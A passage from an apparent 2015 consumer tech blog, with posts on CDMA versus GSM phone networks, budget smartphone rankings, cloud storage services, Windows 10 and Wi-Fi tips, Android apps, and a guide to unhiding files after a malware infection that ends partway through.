CONTROL PANEL SYSTEMS

What's the Difference? CDMA vs. GSM

2015-11-27T13:52:00.000+05:30

https://www.youtube.com/watch?feature=player_embedded&v=P9UZhsmmC7g

CDMA vs. GSM: What's the Difference?

Two basic technologies in mobile phones, CDMA and GSM represent a gap you can't cross. They're the reason you can't use many AT&T phones on Verizon's network and vice versa. But what does CDMA vs. GSM really mean for you?

CDMA (Code Division Multiple Access) and GSM (Global System for Mobiles) are shorthand for the two major radio systems used in cell phones. Both acronyms tend to group together a bunch of technologies run by the same entities. In this story, I'll try to explain who uses which technology and what the real differences are.

Which Carriers are CDMA? Which are GSM?

In the U.S., Sprint, Verizon and U.S. Cellular use CDMA. AT&T and T-Mobile use GSM.

Most of the rest of the world uses GSM. The global spread of GSM came about because in 1987, Europe mandated the technology by law, and because GSM comes from an industry consortium. What we call CDMA, by and large, is owned by chipmaker Qualcomm. This made it less expensive for third parties to build GSM equipment.

There are several variants and options carriers can choose, like toppings on their technological ice cream. In this story we'll focus on U.S. networks.

What CDMA vs. GSM Means to You

For call quality, the technology you use is much less important than the way your carrier has built its network. There are good and bad CDMA and GSM networks, but there are key differences between the technologies. Here's what you, as a consumer, need to know.

It's much easier to swap phones on GSM networks, because GSM carriers put customer information on a removable SIM card. Take the card out, put it in a different phone, and the new phone now has your number. What's more, to be considered GSM, a carrier must accept any GSM-compliant phone. So the GSM carriers don't have total control of the phone you're using.

That's not the case with CDMA. In the U.S., CDMA carriers use network-based white lists to verify their subscribers. That means you can only switch phones with your carrier's permission, and a carrier doesn't have to accept any particular phone onto its network. It could, but typically, U.S. carriers choose not to.

Many Sprint and Verizon phones now have SIM cards, but that isn't because of CDMA. The SIM cards are generally there for Sprint's and Verizon's 4G LTE networks, because the LTE standard also uses SIM cards. The phones may also have SIM slots to support foreign GSM networks as "world phones." But those carriers still use CDMA to authenticate their phones on their own home networks.

3G CDMA networks (known as "EV-DO" or "Evolution Data Optimized") also, generally, can't make voice calls and transmit data at the same time. Once more, that's an available option (known as "SV-DO" for "Simultaneous Voice and Data Optimization"), but one that U.S. carriers haven't adopted for their networks and phones.

On the other hand, all 3G GSM networks have simultaneous voice and data, because it's a required part of the spec. (3G GSM is also actually a type of CDMA. I'll explain that later.)

So why did so many U.S. carriers go with CDMA? Timing. When Verizon's predecessors and Sprint switched from analog to digital in 1995 and 1996, CDMA was the newest, hottest, fastest technology. It offered more capacity, better call quality and more potential than the GSM of the day. GSM caught up, but by then those carriers' paths were set.

It's possible to switch from CDMA to GSM. Bell and Telus in Canada have done it, to get access to the wider variety of off-the-shelf GSM phones. But Verizon and Sprint are big enough that they can get custom phones built for them, so they don't see the need to waste money switching 3G technologies when they could be building out their 4G networks.

The Technology Behind CDMA vs. GSM

CDMA and GSM are both multiple access technologies. They're ways for people to cram multiple phone calls or Internet connections into one radio channel.

GSM came first. It's a "time division" system. Calls take turns. Your voice is transformed into digital data, which is given a channel and a time slot, so three calls on one channel look like this: 123123123123. On the other end, the receiver listens only to the assigned time slot and pieces the call back together.

The pulsing of the time division signal created the notorious "GSM buzz," a buzzing sound whenever you put a GSM phone near a speaker. That's mostly gone now, because 3G GSM (as I explain later) isn't a time division technology.

CDMA required a bit more processing power. It's a "code division" system. Every call's data is encoded with a unique key, then the calls are all transmitted at once; if you have calls 1, 2, and 3 in a channel, the channel would just say 66666666. The receivers each have the unique key to "divide" the combined signal into its individual calls.

Code division turned out to be a more powerful and flexible technology, so "3G GSM" is actually a CDMA technology, called WCDMA (wideband CDMA) or UMTS (Universal Mobile Telephone System). WCDMA requires wider channels than older CDMA systems, as the name implies, but it has more data capacity.

Since its inception, GSM has evolved faster than CDMA. As I mentioned above, WCDMA is considered the 3G version of GSM technology. To further speed things up, the 3GPP (the GSM governing body) released extensions called HSPA, which have sped GSM networks up to as fast as 42Mbps, at least in theory.

Our CDMA networks, meanwhile, are stuck at 3.6Mbps. While faster CDMA technologies exist, U.S. carriers chose not to install them and have instead turned to 4G LTE to be more compatible with global standards.

The Future is LTE

The CDMA vs. GSM gap will close eventually as everyone moves to 4G LTE, but that doesn't mean everyone's phones will be compatible. LTE, or "Long Term Evolution," is the new globally accepted 4G wireless standard. All of the U.S. carriers are turning it on. For more, see 3G vs. 4G: What's the Difference?

The problem is, they're turning it on in different frequency bands, with different 3G backup systems, and even, in the case of the new Sprint Spark network, using an LTE variant (TD-LTE) that doesn't work with any other U.S. carrier's phones. There are very few phones that support all of the carriers' LTE bands.

Verizon has said it aims to start selling LTE-only phones in 2015, but for now, those will require special Verizon software to make voice calls, so that move won't make it any easier to switch carriers with your phone. Even without CDMA, the CDMA philosophy of carrier control of your phone will remain intact.

A growing number of phones support all of these standards, but it can be hard to tell which ones. The iPhone 6, the iPhone 6 Plus and the Google Nexus 6 are the most flexible. iPhone 6 and 6 Plus units from AT&T, T-Mobile, and Verizon can all be used on all three carriers, but they lack Sprint's special LTE bands. Sprint iPhones have all the bands, but Sprint has strict unlocking policies. Nexus 6 phones will technically work on all four carriers, but Sprint only allows phones purchased from Google or Sprint on its network.

HTC One (M8) and Samsung Galaxy S5 phones from Verizon will work somewhat on AT&T's and T-Mobile's networks, albeit with limited coverage because while they have CDMA, GSM and LTE, they don't have all the frequency bands AT&T and T-Mobile use. Variants of those same models sold by AT&T and T-Mobile won't work on Verizon at all, because they lack the CDMA radio needed for Verizon. It's a mess.

So what does all of this mean for you? If you want to switch phones often, use your phone in Europe, or use imported phones, just go with GSM. Otherwise, pick your carrier based on coverage and call quality in your area and assume you'll probably need a new phone if you switch carriers. Our Readers' Choice and Fastest Mobile Networks awards are a great place to start.

Best budget smartphones of 2015

2015-11-20T13:33:00.003+05:30

Best budget smartphones: buying advice

The first thing that you should know when buying a budget smartphone is that there's always a compromise compared to top-of-the-range phones out there. Don't expect performance to rival the latest iPhone or other high-end Android smartphones. Although budget smartphones will offer similar features to the most expensive phones, they're built to a price, so tend to have lower-quality, lower resolution screens, slower processors, less storage, poorer cameras and fewer features (such as no NFC or support for 4G).

There are two main operating systems that you will find on a budget smartphone: Google Android and Windows Phone 8. Both of these operating systems will let you download the major apps such Facebook, Twitter, Skype, Whatsapp and more. However, if you want Google apps including Gmail, YouTube, Maps and others, you should to opt for a smartphone running Android.

We like Windows Phone, but the choice of apps is much more limited, especially when it comes to UK-specific ones and those for physical gadgets such as smart home devices. Also, apps may not have the same set of features that you get on Android. You can't download TV shows from BBC iPlayer on Windows Phone, for example. And that will be a deal-breaker for some people.

Hardware

Processor

At the moment we have a strange situation where some cheap phones have the same processor - and performance - as much more expensive phones. For example, the new 4G version of the Motorola Moto E has the popular Snapdragon 410 CPU. Yet, there are lots of phones costing twice at much as the Moto E's £109 price with exactly the same chip.

What's important is not the benchmark results (they're a way to compare phones to see if one is better or worse than another) but whether they feel responsive in real-world use. You'll need to read our reviews to find out whether a phone performs well or not.

Battery

Battery life is also a factor in performance. However, there's isn't a great difference between the best and worst budget phones in this respect. They generally have similar size batteries which typically last a day (and a bit) in 'normal' use.

Of course, if you use the phone for hours on end to browse the web, use it as a sat nav, play games or watch videos you'll find the battery might run out well before the day is out. Battery saver modes won't really help here, since the only modes which will significantly extend battery life will also prevent you from doing those things and limit use to phone calls and text messages.

Screen

When it comes to screens, arguably the other component you should care about, there are some things to look out for. One is resolution. With screen sizes gradually increasing, low resolutions mean text and icons can look blocky and jagged. On a 5in screen, 1280x720 is the minimum you want, but higher is always better. On smaller phones with, say, 4.5in screens, you can get away with 960x540, but again a higher resolution is better - all else equal.

Screen quality and brightness may not be so important to you, but it's worth checking our reviews to find out if a screen is particularly good or bad.

Cameras

People's phones are increasingly their main camera, so it pays to choose a phone with the best possible camera for photos and videos. Cameras are the first items to be cut down in budget phones, so it's common to find low-quality, low-resolution sensors and lenses. We always take test photos and videos and explain whether they're any good or not in our reviews.

What you can't do is to look at a camera's specifications and work out if it will take good shots or not: the numbers are largely meaningless.

Don't overlook the front camera. It's rare not to get one at all if you're spending over £60, but quality varies hugely. Avoid anything with a very low VGA (640x480) resolution and aim for at least 1.2 or 2Mp. Numbers do matter at this level, as manufacturers often really skimp on the front camera, so if selfies or Skype chats are order of the day, choose a budget phone with a good front camera.

Software

We've already mentioned the difference between Android and Windows Phone. Android is the best choice for most people, but be aware that manufacturers often add their own interfaces on top of Android. Google's own Nexus phones and Motorola's have 'plain' Android, but the rest are customised to greater or lesser degrees. Again, our reviews will give the specific details.

Some of these interfaces have extra features worth having, or a replacement camera app that's much better than the stock Android one. Others take it too far and can also be sluggish and unresponsive.

Going or a phone with plain Android generally means you'll get any updates faster, especially when a whole new version of Android comes out. It can be a wait of many months for other phones, or they may not get updates at all.

Customer service and warranty

We recommend buying phones from somewhere that offers good customer service and easy returns, should you be unlucky enough to have any problems with faulty hardware. Cheap deals might seem tempting, but they could turn out to be expensive if you can't get a faulty phone repaired. We've put together a guide on buying from the grey market which explains the advantages (and many disadvantages) of buying from the increasing number of Chinese retailers which offer shipping to the UK.

Best budget phones reviews:

20. UMI Fair

Rating:
Reviewed on: 11 November 15
RRP: £95.19 from European warehouse

The UMI Fair has an excellent specification for not a lot of money. With a thin, metal frame it looks much more expensive than it is, and it includes all the features you're likely to need with a removable battery, microSD support, a fingerprint scanner and dual-SIM 4G LTE connectivity. Performance is adequate and the camera more than satisfactory, making this something of an all-rounder.

Read our UMI Fair review.

19. Microsoft Lumia 435

Rating:
Reviewed on: 19 March 15
RRP: £49.99 with £10 EE top-up

The Microsoft Lumia 435 is the best phone you can buy under £50, even accepting the tired old Windows Phone apps argument. Bottom of Microsoft's line-up and just £49.99 on PAYG it's by no means a great phone, but for first-time or light users it wipes the floor with similarly priced Android phones (and iOS at this price point is just a pipe dream - or a nightmare, but whichever way you look at it, it's not going to happen). Unlike the more expensive Lumia 535, Microsoft has confirmed that the Lumia 435 will get Windows 10 when it is released later this year, which will make this the cheapest entry point for a Windows 10 computer, and that alone makes it well worth a look.

Read our Microsoft Lumia 435 review.

18. UMI eMax Mini

Rating:
Reviewed on: 17 November 15
RRP: £95.19 from China (plus import duty); £122.39 from Europe

The UMI eMax Mini is a very decent attempt at a budget Android phone with mid-range specs, and a strong rival to the Vodafone Smart Prime 6 that tops our budget phones chart. It's slower than the original UMI eMax in our benchmarks, but in real-world use it feels just as fast. The cameras have been improved and also the design, in our opinion, resulting in a cheap phone that offers strong value for money.

Read our UMI eMax Mini review.

17. Ulefone Paris

Rating:
Reviewed on: 21 October 15
RRP: £88.39 (plus taxes - shipping from China)

The Ulefone Paris is a great budget buy at £88, but bear in mind that you may also need to factor in import duty. Even so, it's a great rival to the £125 Vodafone Smart Ultra 6, which sits at the top of our budget smartphone chart, with faster core hardware and 4G dual-SIM functionality, but a lower-resolution screen. The camera isn't as impressive as the rest of this budget phone's spec, but it's still acceptable for such a cheap device.

Read our Ulefone Paris review.

16. UMI Iron

Rating:
Reviewed on: 20 October 15
RRP: £149.99 inc. VAT

The UMI Iron is a good buy at £149.99, and the first we've seen to include eye-scanning security. This is a cool feature, if no more secure than the requirement for a four-digit PIN. Although the heart-rate scanner didn't work in our tests and the Micro-USB charging port seemed oddly misshaped, the UMI Iron nevertheless offers a good set of hardware and more than acceptable performance for the money.

Read our UMI Iron review.

15. UMI eMax

Rating:
Reviewed on: 9 July 15
RRP: £115.59 (plus import duty)

UMI's eMax offers superb value for money. It's not as good-looking as other UMI phones we've reviewed, but the eMax has a big and bright full-HD screen for enjoying media and more, and showed very capable performance in the majority of our benchmarks. Photography is decent at this price, and enthusiasts will appreciate the Rootjoy support. At £115 you can't go far wrong with the UMI eMax.

Read our UMI eMax review.

14. Ulefone BeTouch

Rating:
Reviewed on: 14 July 15
RRP: 147.06 (plus import duty)

Ulefone's BeTouch is an unrivalled deal at £147. It's fast, it's dual-SIM with 4G connectivity, it has a working fingerprint scanner for security, the screen is large and with an HD resolution plenty crisp enough for the money, and there is absolutely no bloatware. A few minor quibbles aside, it's genuinely difficult to fault this phone at this price.

Read our Ulefone BeTouch review.

13. UMI Hammer S

Rating:
Reviewed on: 20 October 15
RRP: £108.79 inc. VAT

We really like the UMI Hammer S. It's not the fastest phone you'll find at this price, but it's fast enough for daily use. The design is nice, and genuinely useful technology - USB-C and the fingerprint scanner for example - comes at an attractive price. A strong rival to the excellent Vodafone Smart Ultra 6.

Read our UMI Hammer S review.

12. Microsoft Lumia 640

Rating:
Reviewed on: 14 May 15
RRP: From £13.50 per month, £109.99 PAYG or £129.99 SIM-free

The Microsoft Lumia 640 is a worthy upgrade over the Lumia 630, and this Windows Phone now presents very good value for money. This is the Moto G of the Windows world, with a near-identical spec and a £20 lower price tag. Which phone you choose will come down to your software preferences - many users will be happy with Windows Phone, but if third-party apps feature heavily on your wishlist you may find that extra £20 for the Moto G money well spent.

Read our Microsoft Lumia 640 review.

11. Motorola Moto G 4G 2015

Rating:
Reviewed on: 9 April 15
RRP: £149 inc. VAT

If you're looking for a cheap 4G smartphone then the Moto E 4G is the best deal on the market right now. If you would rather have a cheap dual-SIM phone with 3G connectivity then the mark 3 Moto G is your best bet. But the new Moto G 4G for 2015 is not the best phone for either customer, and its larger, higher-resolution screen, marginally improved photography credentials and stereo sound are not enough for us to turn a blind eye to its £60 higher price, slower hardware and missing software features.

Read our Motorola Moto G 4G 2015 review.

10. Moto G 4G

Rating:
Reviewed on: 13 August 14
RRP: £135 inc VAT

Motorola's Moto G is the best budget smartphone around. At £135 it's got great build quality, an excellent screen, decent cameras and Android 4.3 Jelly Bean soon to be upgrade to 4.4 KitKat.

Read our Moto G 4G review.

9. EE Rook

Rating:
Reviewed on: 22 July 15
RRP: £39 inc VAT (existing customers)

If you don't mind the basic design, the EE Rook isn't a bad little phone at all. We can hardly argue with the price of £39 for existing customers and the performance is better than we expected for a sub-£50 phone. It's mainly the miserable viewing angles of the screen which put us off so you are better off spending a little more if you can afford it.

Read our EE Rook review.

8. Samsung Galaxy Core Prime

Rating:
Reviewed on: 21 October 15
RRP: £109 inc VAT

If you love Samsung Android phones then you'll like the Galaxy Core Prime. It does lack a few features, but the missing ambient light sensor is one cut corner too far. For only £79, we prefer Vodafone's Smart Prime 6. It has a 5in 1280x720 screen, better cameras and an ambient light sensor. Plus it runs an essentially plain version of Android.

Read our Samsung Galaxy Core Prime review.

7. Just5 Blaster 2

Rating:
Reviewed on: 12 November 15
RRP: 149 Euro + 12 Euro shipping (approx £105 + £8.50 shipping)

Although you can't just walk into a shop and buy it in the UK, this Just5 Blaster 2 is certainly a better budget buy than the Samsung Galaxy Core Prime. At around £105 it's no surprise to find a plastic build, but we appreciate the inclusion in the box of interchangeable colour covers. The screen is good, if a little dull, and performance is spot-on at this price point. The cameras are acceptable, and the software free of bloat. A good all-round budget option.

Read our Just5 Blaster 2 review.

6. Motorola Moto G 2014 (second generation)

Rating:
Reviewed on: 15 September 14
RRP: £145 inc VAT

With a bigger screen, much better speakers and improved cameras, the new Moto G is a great budget smartphone. The lack of support for 4G will be a deal-breaker for some, though. It isn't without its rivals, but if you're specifically looking for a budget dual-SIM Android phone, it's a good choice.

Read our Motorola Moto G 2014 (second generation) review.

5. EE Harrier Mini

Rating:
Reviewed on: 7 July 15
RRP: £99 inc. VAT

We're much keener on the Harrier Mini than we are its bigger brother. While both phones offer very good value, £99 sounds much more appealing than £199, and we prefer the Mini's more compact design. Performance is slower and the screen isn't as good, but you won't get top-end specs from either phone. But as much as we think the Harrier Mini is a great deal, the Vodafone Smart Prime 6 offers better value. It's £20 cheaper and has a larger, better screen, and it seems more adept in photography. Buy the Harrier Mini over the Smart Prime 6 only if you'll benefit from Wi-Fi Calling once it becomes available.

Read our EE Harrier Mini review.

4. Wileyfox Swift

Rating:
Reviewed on: 24 September 15
RRP: £129 inc VAT

For a brand-new smartphone maker's first effort, we're impressed with the Wileyfox Swift. It's a stylish little handset which offers essentially the same specs as the Moto G for less money. We love the customisation available in Cyanogen OS but elements such as the cameras aren't as good as rivals. Vodafone's Smart Ultra 6 remains a better option for slightly less money - unless a 5.5in screen is too big in which case look at the Smart Prime 6 as an alternative.

Read our Wileyfox Swift review.

3. Vodafone Smart Prime 6

Rating:
Reviewed on: 25 June 15
RRP: £79

The Vodafone Smart Prime 6 is a great budget smartphone that we think is worth more than the £79 that Vodafone asks for it. Its processor may not be able to compete with grey-market phones like the Doogee F1 Turbo Mini, but it handles day-to-day use just fine with no noticeable lag. While the Moto E 4G performed slightly better during our benchmarks, the Smart Prime 6 has a bigger screen, better camera and is £30 cheaper, making it our choice out of the two handsets.

Read our Vodafone Smart Prime 6 review.

2. Motorola Moto E 4G

Rating:
Reviewed on: 3 March 15
RRP: £109 inc. VAT

The new Moto E 4G is a worthy upgrade over the original Moto E, with upgrades in every area. For an extra £20 it adds 4G LTE connectivity and a front-facing camera, plus performance and storage improvements. It might not be as fast as the grey-market Doogee F1 Turbo Mini, but this Moto E 4G is a much better deal than the EE Kestrel, making it the best budget 4G phone intended for UK sale we've seen.

Read our Motorola Moto E 4G review.

1. Vodafone Smart Ultra 6

Rating:
Reviewed on: 4 August 15
RRP: £125

The Vodafone Smart Ultra 6 is worth its £125 price tag without a doubt. It's one of the best experiences we've had with a budget smartphone, and nothing about this phone suggests that it's budget apart from its price tag. Compared to the Smart Prime 6, this is definitely the better option to go for and we'd definitely pay the extra £50 for it – it's more powerful, has better cameras and a larger, higher quality display. It won't run the latest 3D mobile games but for every day use, it's a great phone and the fact that you can add up to 128GB of external storage means that there’s more storage than you can shake a stick at. Great work Vodafone.

Read our Vodafone Smart Ultra 6 review.

Desktop PC

2015-10-16T13:53:00.006+05:30

Desktop PC with one Year warranty

Intel C2D 1.8GHz Processor + Intel Chipset Motherboard + 1GB DDR2 + 160GB SATA + Cabinet

Rs.6500 /- Net ( 1 Year)

5 Best Cloud Storage Services

2015-09-18T12:03:00.001+05:30

1. Collaborate and Store Files for Free with Google Drive

Google has entrenched in our daily online lives to the point where the company's name is sometimes used as a verb ("Google that for me, please.") Formerly known as Google Docs, Google Drive allows businesses to not only backup their files online but also edit files in a solo or team environment. One does have to create a Google specific account in order to use the service. Users get 15GB free, with tiered storage plans all the way up to 30-TB.

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2. Free Storage and Windows Integration with Microsoft OneDrive

With the majority of desktops and laptops running Windows OS, it makes sense for Microsoft to have its own cloud storage service. OneDrive - originally called SkyDrive until British television broadcaster BSkyB filed a lawsuit - will sync files and folders across a range of devices, including those running Mac, iOS, and Android. OneDrive is baked in to the new Windows 10, right there in File Explorer. Unsurprisingly, OneDrive offers the same amount of free storage as Google Drive - 15-GB.

3. SpiderOak Features "Zero Knowledge" Privacy Policy

Most cloud storage systems encrypt data as it’s being uploaded. SpiderOak goes a step further by encrypting files locally on one’s computer, then uploading it to their servers. Passwords are stored locally too, meaning the company has no way of decrypting the information, a critical distinction depending on what type of information one's business is storing in the cloud. This also means, of course, if a user forgets their password, the data can't be recovered. SpiderOak offers 2-GB for free, 1-TB is $12/month.

4. ZipCloud Offers Simple, Safe Storage

This cloud service allows business owners to send and share files with employees, clients, or co-workers. Owners can configure the service so each team member has their own account, allowing them to individually backup and share files. The sync folder feature allows teams to share large files with co-workers. Plans start at around $70/mo for 500-GB shared amongst 20 users, all the way up to 5-TB shared amongst 150 users for 10x the price.

5. Store and Sync with Box

Most of the cloud services out there trumpet their ability to keep files stored online. Users can do this with Box but its main selling point is to centralize business documents in the cloud for easier collaboration. Employees can work securely across teams, mobile apps allow users to access files on the fly while desktop apps sync files and share links through Outlook. Businesses can sign up for a free 14-day trial and, if they like it, can stick around for $15 per user and unlimited storage.

Windows 5 Tips for Desktop PC

2015-09-18T12:02:00.000+05:30

1. Change the Address Bar Default Browser

After installing Windows 10, if you keep the Address bar on your desktop, you may notice it loads websites in the Microsoft Edge browser. To change this, open your preferred browser, click settings and set the browser (i.e. Firefox or Chrome) to be your default browser.

FireFox: Select Settings, Options then locate the default browser options from the General tab.
Chrome: Select Settings, scroll to bottom of tab. Options is listed under Default Browser.

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2. Change Privacy Settings

When installing Windows 10, the Express install will find you agreeing to sharing all sorts of private information and data. You can change your privacy settings at any time after install.

From the Windows Start menu click settings.
Select Privacy.
Under the Privacy Tab (General, Location, Camera and so on) many of the options can be turned off.

3. Run Windows 10 in Tablet Mode

By default, Windows 10 will offer the Start screen on your desktop PC. If you prefer the look and style of full-screen apps instead, you can activate the Tablet Mode.

From the System Tray, open the Windows 10 Action Center.
Select Tablet Mode icon.
You can deselect Tablet Mode at any time to turn it off.

4. Customize the Windows 10 Start Menu

For many, the return of the Start menu is a really big deal. In fact, the Start menu can be considered the hub of your desktop PC. The default Start menu is loaded with live tiles and filled with your most used apps. If it is too much clutter for you, then try removing the suggested apps or replacing them with ones you'll use.

From the Start menu click Settings.
Select Personalization.
Click the Start tab.

From this screen you can turn off suggestions, recently added apps and choose which folders appear in Start. This will customize the left side of your Start Menu.
The right side of the Start menu contains the Windows 10 default selection of Live tiles, such as Twitter, Calendar, Mail and more. You can remove any of the default apps listed and also add your own favorites.

To remove a tile, open the Start Menu, right click app and select Unpin from Start.
To add new tiles, open the Start menu and select All Apps.
Find the app you want pinned to your Start Menu, right-click the app and select Pin to Start

5. Cortana on the Desktop

With Windows 10, Microsoft's sassy virtual assistant, Cortana has made the leap from smartphones and tablets to the desktop. After setting up options and verifying you have a working microphone, you simply click the microphone button on the Cortana search box to start talking commands and asking questions.

To get started, open the Windows search box and click the Cortana circle on the left-hand side. This will take you through the process of setting up the Cortana virtual assistant on your desktop PC.

11 Tips to Boost Your Wi-Fi Signal

2015-09-18T11:58:00.001+05:30

1. Boost Your Wi-Fi Signal With Updated Router Firmware

Updating router firmware -- something many of us forget to do -- is an important first step to boosting your wireless signal. Keep your firmware up-to-date to ensure optimal device security and performance. If you're not sure how to update your router firmware, this PC Magazine offers sound advice on how to find and download updates for consumer wireless routers.

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2. Update Your Network Adapter for Best Wi-Fi Performance

It takes two to tango, so updating the firmware on your PC or laptop is another good way to improve your wireless connection. Your router could be blasting out high-quality, light-speed Wi-Fi but if your device is operating with outdated firmware, well… it's the equivalent of drinking the Atlantic Ocean through a straw.

3. Find the Best Place for Your Wi-Fi Router

Realtors often cite "location, location, location" when extolling the virtues of a home. The same is true for Wi-Fi routers. Network performance is affected by distance, so place your router in a central location. Wi-Fi doesn't travel well through walls or floors constructed of dense material like brick or marble, so avoid putting your router in a nuclear bunker or at the bottom of a well.

4. Replace the Antenna to Boost Wi-Fi Signal

Many auto racers replace the original engine in their car with a more powerful one in order to increase performance. Replacing your router's built in antenna with a stronger, omnidirectional antenna will help boost your Wi-Fi signal.

DID YOU KNOW...? A common misconception is that the term Wi-Fi is short for "wireless fidelity," however this is not the case. Wi-Fi is simply a trademarked phrase that means IEEE 802.11x.

5. Consider a High-Gain Antenna

In this instance, high-gain has nothing to do with the weight one puts on after mowing through three cheeseburgers and a jumbo pizza. High-gain antennas can be a costly solution but are a great way to boost your Wi-Fi signal if one's existing router supports the addition of an external antenna.

6. Use a Second Router as an Access Point to Boost Wi-Fi

Just like using an extension cord to bring electricity closer to when you need it, using a second router as an access point can boost your Wi-Fi signal quite nicely. To help make configuration of this option less troublesome, try employing an access point from the same manufacturer as your router. PC Mag offers some great tips.

7. Try a Wi-Fi Booster (Extender)

Repeaters and extenders can help broaden the range of your existing Wi-Fi. The concept of these two solutions is the same but with an extender you will likely need a different SSID requiring its own login. Third party testing has revealed which ones do the best job of covering dead zones. Need a little more help? Try Webopedia's SSID definition to get started.

8. Remove Obstructions to Improve Wi-Fi Signal Strength

Just as one removes their sibling from their line of sight when trying to finish the last mission in Grand Theft Auto V on Xbox, it's a good idea to get rid of any obstructions which may be blocking your wi-fi signal. Placing your router in an elevated location helps too.

9. Choose the Right Wi-Fi Channel

Breaker-breaker: get off this channel. Though most users don't change the channel on which their router is broadcasting Wi-Fi, it is possible to choose a different channel. For maximum throughput and minimum interference, independent research has shown channels 1, 6, and 11 to be the best choices.

10. Use inSSIDer to Maximize Your Wireless

Third-party services such as inSIDDer allows a user to visualize their wireless environment in order to adjust one’s router settings for maximum performance. Diagnostic tools will help you determine if all your access points are visible, if you are on the right channels and evaluate your signal strength.

11. Stop Neighbors From Stealing Your Bandwidth

It's not just your lawnmower and household tools that your neighbor won't return. They could, inadvertently of course, be stealing your bandwidth. Employing complicated passwords, using creative network SSID names and enabling network encryption are good starting points when making sure your bandwidth is not enjoyed by the noisy neighbors across the hall.

13 Best Free Android Apps

2015-09-18T11:52:00.002+05:30

1. Bleep Offers Private and Secure Instant Messaging

It's no secret that WhatsApp is at the top of the instant messaging heap, but despite its popularity, security and privacy concerns remain. Bleep is a great alternative from the makers of BitTorrent which offers fully encrypted messages which, critically, are stored locally, not on the cloud. In the style of Snapchat, Bleep's whisper option deletes messages as soon as it is read. Download it here.

2. Manage Your Cloud Storage With Unclouded

Between Dropbox, Google Docs, OneDrive, and a host of others, online storage can get cloudier than your vision after a good night of partying. Fortunately, there is a freemium app called Unclouded which aims to grant access to all your far-flung online files through a single app. It isn't possible to peruse more than one cloud account at a time, but an intuitive menu system allows you to switch back and forth without entering and exiting multiple apps for multiple cloud services. Unclouded provides details on how may files are in each account and the amount of available remaining space. Download it here.

Tales of the Unbelievable

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3. Find Apps faster with App Dialer

Remember at the dawn of texting when we would laboriously type words using the grid-style number pad on our flip phones? Those days are back with App Dialer, which allows Android users to search for apps using a T9 keypad. This time around, though, a simple touch of the key corresponding to either of its three letters will show all the possibilities of apps which can be formed with those characters. A sequence of 9-2-4 corresponds to W-H-A, for instance, bringing up WhatsApp as a potential match. Download it here.

4. Use Snapseed to Tweak Your Digital Snaps

Originally launched as a desktop tool, Snapseed is a powerful must-have photo editing tool. Combing simple, one tap effects with excellent editing power and an intuitive UI have made this app a hit with smartphone wielding photographers. Recently released Snapseed 2.0 allows users to retrace their editing steps by saving your adjustments as re-editable layers. Download it here.

5. Docs To Go offers Easy and Lightweight Editing

For lightweight word-processing and editing of text, Docs To Go remains one of the easiest to use and slimmed down apps available. In addition to text, Docs To Go supports editing of spreadsheets and integrates well with cloud storage. As long as one never needs to give a long winded slide-based presentation, this app may be all that’s required. Download it here.

6. Open Word Docs and More with Microsoft Office

Like it or not, documents created with Microsoft Office abound. At some point, Android users will either be asked to open or create a file in this format. Gasp! I know. The good news is Microsoft's suite of Office programs are available on Android for free and the apps are rather well designed, too. Word, Excel, & PowerPoint are included, so one can open and edit these documents no matter the location. It's worth noting the MacBook Air on which this article is being typed refused any and all attempts to auto-correct the word Microsoft. Go figure. You can download it here.

7. Uber Offers Smooth Traveling

Traveling in an unfamiliar city and can't find a cab? Uber is essentially a on-demand network of private cars run through a smartphone app. Using GPS, Uber will pinpoint your location and send a driver to pick you up (if one is nearby, of course). Leave your cash at home; Uber drivers only accept digital forms of payment such as credit cards or PayPal. Users are encouraged to rate their drivers after each trip. Download it here.

8. Drupe Lets You Manage All Your Messaging Apps

Between Facebook Messaging, WhatsApp, and regular old SMS, mobile users have a myriad of messaging apps to manage. Drupe is a Play Store app which attempts to corral all of a user's messaging apps (and send messages!) in one place. Once installed on your device, Drupe organizes all your contacts and messaging apps, placing your contacts on the left side of the UI and messaging apps on the right. Download it here.

9. Google Translate: Handwritten or Spoken Text Accepted

Star Trek promised us a lot of cool gadgets, not the least of which was the Universal Translator, which allowed Captain Picard to threaten hostile alien species with ease. Google Translate is our 21st-Century equivalent, offering word-for-word translations of over 70 languages accepting input via text, speech, or even text recognition using your device camera. Google's translation will be displayed in text form or read aloud through your phone's speaker. Shields up! Red alert! Download it here.

10. Talk With Up to 200 People With Popcorn Buzz

Group chat is great, up to a certain point when the conversation gets so large it's almost impossible to tell who is saying what via text. Popcorn Buzz allows users to call up and talk with to 200 people at the same time. It would work well for business conference calls, or when you need to talk with Uncle Joe and Aunt Maisie on Christmas Day to thank them for the new socks. Download it here.

11. Spotify is a jukebox in Your Pocket

Spotify is a music streaming service, turning your Android device into a virtual jukebox. Users can listen for free, while downloading tunes for offline listening requires a premium account. Recently, version 3.0 update brought a redesigned UI with larger control buttons. With the announcement that Apple's Music streaming service will be available on Android, it will be interesting to see what further improvements Spotify's team has up their sleeves in what is quickly becoming a crowded market. Download it here.

12. Google Keep: A Virtual Android Corkboard

Google Keep is an attempt to capitalize on the popularity of Pinterest, with its pinning of all your favorite things, corkboard style. With Google Keep, users can go a step further by record audio notes for their corkboard along with to-do checklists and favorite pictures. It should already be in your pre-loaded Android apps; if not, download it here.

13. Zoho Docs: The Iconic Document Platform

This Android app works great for freelancers who need to work with a variety of documents in a myriad of formats. With a simple and easy to navigate UI, Zoho can open virtually all of your documents in cloud storage without users having to worry about compatibility. Sharing documents with other Zoho users is exceptionally easy. The ability to save documents locally is a huge bonus. Download it here.

How to Unhide Files and Folders after Malware Virus Attack

2015-09-16T07:26:00.004+05:30

First, let's unhide your files by changing the system settings of Windows.

For Windows XP

1) Open My Computer
2) Click on Tools
3) Click on Folder Options
4) Click on the View Tab
5) Place a dot on the option "Show Hidden Files and Folders"
6) Click Ok

For Windows Vista

1) Click on the Windows Orb (Start button)
2) Click on Computer
3) Click on Tools
4) Click on Folder Options
5) Click on View
6) Click the option for "Show Hidden Files and Folders"
7) Click Ok

For Windows 7

1) Click on the Windows Orb (Start button)
2) Click on Computer
3) Click on Organize
4) Click on Folder and Search Options
5) Click on View
6) Click the option for "Show Hidden Files and Folders"
7) Click Ok

Now you should be able to see all of your files and folders. However, they still have the hidden file attibute set. When we remove the hidden attribute on the files and folders, all of your files should reappear normally.

To Unhide files and folders that Windows Diagnostic, Windows XP Restore and other malware hide

For Windows XP

1) Click on Start, Run
2) Type CMD and press Enter
3) At the command prompt type the following and press Enter

CD \

4) Now the command prompt should show the root folder of the hard drive. Most likely C:\
5) At the command prompt type the following and press Enter

ATTRIB -H *.* /S /D

